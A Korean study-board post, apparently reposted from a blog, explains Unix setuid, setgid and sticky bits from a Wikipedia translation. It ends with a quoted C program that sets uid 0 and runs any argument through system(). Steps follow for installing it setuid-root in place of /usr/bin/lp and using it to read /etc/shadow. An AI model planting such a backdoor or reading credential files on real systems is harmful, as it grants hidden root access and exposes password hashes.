RadarURL

유닉스/리눅스
2015.05.27 18:55

SETUID, SETGID, Sticky Bit

조회 수 474 추천 수 0 댓글 0
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄 첨부
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄 첨부

setuid: short for set user id

setgid: short for set group id
 
setuid 와 getgid 는 일반 유저가 실행화일의 소유자 또는 그룹의 권한을 이용하여 실행할 수 있도록 하는 유닉스 접근 권한 플래그입니다. 특정 작업을 수행하기 위해서 일시적으로 상승된 권한을 이용하여 프로그램을 실행하기 위해 사용됩니다.
 
setuid on executables
 
이진 실행 화일에 setuid 속성이 있으면, 이 파일을 실행할 수 있는 권한을 가진 일반 유저가 생성된 프로세스 내에서 파일을 소유하고 있는 사용자 (일반적으로 root) 의 권한을 얻게 된다. 프로세스 내에서 루트 권한을 가지게 되면, 그 애플리케이션은 일반적인 사용자에게는 제한된 시스템의 기능을 수행할 수 있다.
 
사용자가 ptrace, LD_LIBRARY_PATH, 또는 시그널을 보내는 등의 방법을 사용하여 아무렇게나 새로운 프로세스를 변경하려는 시도는 시스템에 의해 금지될 것이다. 보안 결함으로 인해, 많은 OS 들이 실행가능한 셀 스크립트에 setuid 속성이 적용되어 있는 경우 이를 무시하고 있다.
 
setuid 기능이 여러 방면에 아주 유용한 반면에, 주의깊게 설계되지 않은 실행가능한 프로그램에 setuid 속성이 할당되어 있다면, 보안 리스크를 노출할 수 있다. 영구적인 상승 권한을 얻기 위해, 또는 의도적으로 트로잔 목마(trojan horse) 프로그램을 실행하기 위해 결함이 있는 프로그램의 취약성을 이용할 수 있다. 
 
setgid 속성은 setuid 속성이 사용자 기반 권한을 변경하는 것과 같이, 그룹 기반 권한을 변경할 수 있다.
 
setuid 와 setgid 비트는 보통 chmod 명령어를 이용하여 설정되고 최상위 값을 4 (setuid) 또는  2 (setgid) 로 설정한다. 'chmod 6711' 는 setuid 와 setgid 비트를 설정하고 파일 소유자는 read/write/executable 권한을, 그리고 그룹과 others는 executable 권한을 가지도록 한다. 모든 chmod 플래그는 8진수이고 최상위 8진수의 최하위 비트는 sticky bit 라고 알려진 특수한 모드에 사용된다. ('chmod 1755 temp' 와 같이 1이 sticky bit 를 설정한다.)
 
setuid and setgid on directories
 
setuid 와 setgid 플래그가 디렉토리에 대해서 설정될 때는 완전히 다른 의미를 가지게 된다.
 
디렉토리에 setgid 를 설정하는 것 (chmod g+s) 은 그 디렉토리 내에서 생성되는 새로운 파일과 서브 디렉토리가 그 파일을 생성한 사용자의 주 groupID(primary groudID) 대신 setgid 가 설정된 디렉토리의 groupID 를 상속하도록 한다. 새로 생성된 서브 디렉토리는 setgid 비트를 상속한다. 디렉토리에 setgid 권한을 설정하는 것은 setgid 비트가 설정된 이후에 새로 생성된 파일과 서브디렉토리에만 영향을 미친다는 것을 명심해야 한다. 
 
Security
 
이 비트를 사용하는 프로그램은 buffer overrun attack 에 당하지 않도록 주의깊게 설계되어야 한다. 
 
Sticky bit
 
- 모든 사용자가 읽고, 쓰고, 실행이 가능하다
- 단, sticky bit 퍼미션이 적용된 디렉토리에서는 누구나 파일을 쓰고 실행할 수 있지만, 파일 삭제는 오직 owner 만 할 수 있다.
- 나머지는 사용자의 퍼미션 값에 실행의 값인 'x'가 아닌 't' 기호가 대신 명시된다.
- 예)'chmod 1755 temp'
 
이상은 위키피디아를 번역한 내용에에 stick bit 내용만 조금 추가한 것입니다. 
 
아래는 보안 관련 카페에 게재된 소스이며 읽기 권한이 없는 경우에도 임시적으로 setuid 권한 (root 권한)을 가지고 읽을 수 있는 순간적인 권한 상승을 악용한 내용입니다.
 
main(int argc, char * argv[])
{
    char exec[100];
    setuid(0);
    setgid(0);

    sprintf(exec, argv[1]);
    system(exec);
}
 
1. 소스 컴파일 
# gcc set.c -o lp
 
2. 권한 변경
# chmod 4777 lp
 
3. /usr/bin/lp 삭제
 
4. 컴파일된 lp 를 /usr/bin 로 복사
 
5. 해당 프로그램을 이용하여 shadow 파일 읽기
# /usr/bin/lp "cat /etc/shadow"
 
 
위 방법은 루팅된 안드로이드폰에서 su 권한을 가지도록 하는 프로그램에서도 동일하게 사용되었습니다. 아래의 superuser.zip 파일 안에 su.c 코드를 살펴보면 위와 동일하게 구현되어 있습니다. 앞단에 su 권한을 부여할 프로세스 관리를 위한 android activity 를 실행하는 것 외에는 말이죠.
 
 

 

참고

 

출처 : http://codemuri.tistory.com/entry/SETUID-SETGID-Sticky-Bit

TAG •
?

공부 게시판

공부에 도움되는 글을 올려주세요.

List of Articles
번호 분류 제목 글쓴이 날짜 조회 수
공지 [공지] 공부 게시판 입니다. 처누 2003.08.18 928102
166 유닉스/리눅스 [U2L] Unix to Linux 기대효과 분석 JaeSoo 2023.05.16 1258
165 유닉스/리눅스 리눅스 inodes full 이슈 해결 방법 JaeSoo 2023.05.02 169
164 유닉스/리눅스 inode full JaeSoo 2023.05.01 115
163 유닉스/리눅스 마이크로서비스 아키텍처(MSA) 개념 소개 file JaeSoo 2023.01.26 170
162 유닉스/리눅스 리눅스(Linux) 디렉토리 구조 file JaeSoo 2016.10.20 693
161 유닉스/리눅스 ssh서버가 비밀번호를 거부했습니다. 다시 시도하십시오. JaeSoo 2016.08.23 302
160 유닉스/리눅스 [리눅스] IP 설정 변경 하기 file JaeSoo 2016.08.23 326
159 유닉스/리눅스 리눅스 설치후 초기설정해야 할 것들 [2] file JaeSoo 2016.07.13 400
158 유닉스/리눅스 리눅스 설치후 초기설정해야 할 것들 [1] file JaeSoo 2016.07.13 360
157 유닉스/리눅스 쉘 프로그래밍을 이용한 시스템 관리 기법 file JaeSoo 2016.05.12 679
156 유닉스/리눅스 AIX 자주 쓰이는 관리 명령 모음 JaeSoo 2016.05.12 615
155 유닉스/리눅스 AIX 시스템상의 core, SMT(Simultaneous Multi Threading) 수 확인하기 JaeSoo 2016.05.12 695
154 유닉스/리눅스 리눅스 호스트명 변경 JaeSoo 2016.05.11 728
153 유닉스/리눅스 AIX 서버 기초 JaeSoo 2016.05.11 630
152 유닉스/리눅스 AIX Admin Study 교육 자료 JaeSoo 2016.05.11 715
151 유닉스/리눅스 성능 엔지니어링 대한 접근 방법 (Performance tuning) file JaeSoo 2016.05.05 874
150 유닉스/리눅스 Linux/Unix용 nmon 설치 및 구성 file JaeSoo 2016.05.04 773
149 유닉스/리눅스 [AIX] 파일시스템 관리 (du, df) JaeSoo 2016.05.04 770
148 유닉스/리눅스 IBM AIX Admin (사용자 DISK 관리) JaeSoo 2016.05.04 686
147 유닉스/리눅스 [UNIX] 유닉스 기본명령어 JaeSoo 2016.05.04 562
Board Pagination Prev 1 2 3 4 5 6 7 8 9 Next
/ 9


즐겨찾기 (가족)

JAESOO's HOMEPAGE


YOUNGAE's HOMEPAGE


장여은 홈페이지


장여희 홈페이지


장여원 홈페이지


즐겨찾기 (업무)

알리카페 홀릭

숭실대 컴퓨터 통신연구실 (서창진)

말레이시아 KL Sentral 한국인 GuestHouse


즐겨찾기 (취미)

어드민아이디

유에코 사랑회

아스가르드 좋은사람/나쁜사람

JServer.kr

제이서버 메타블로그

재수 티스토리


즐겨찾기 (강의, 커뮤니티)

재수 강의 홈페이지


한소리


VTMODE.COM


숭실대 인공지능학과


숭실대 통신연구실


베너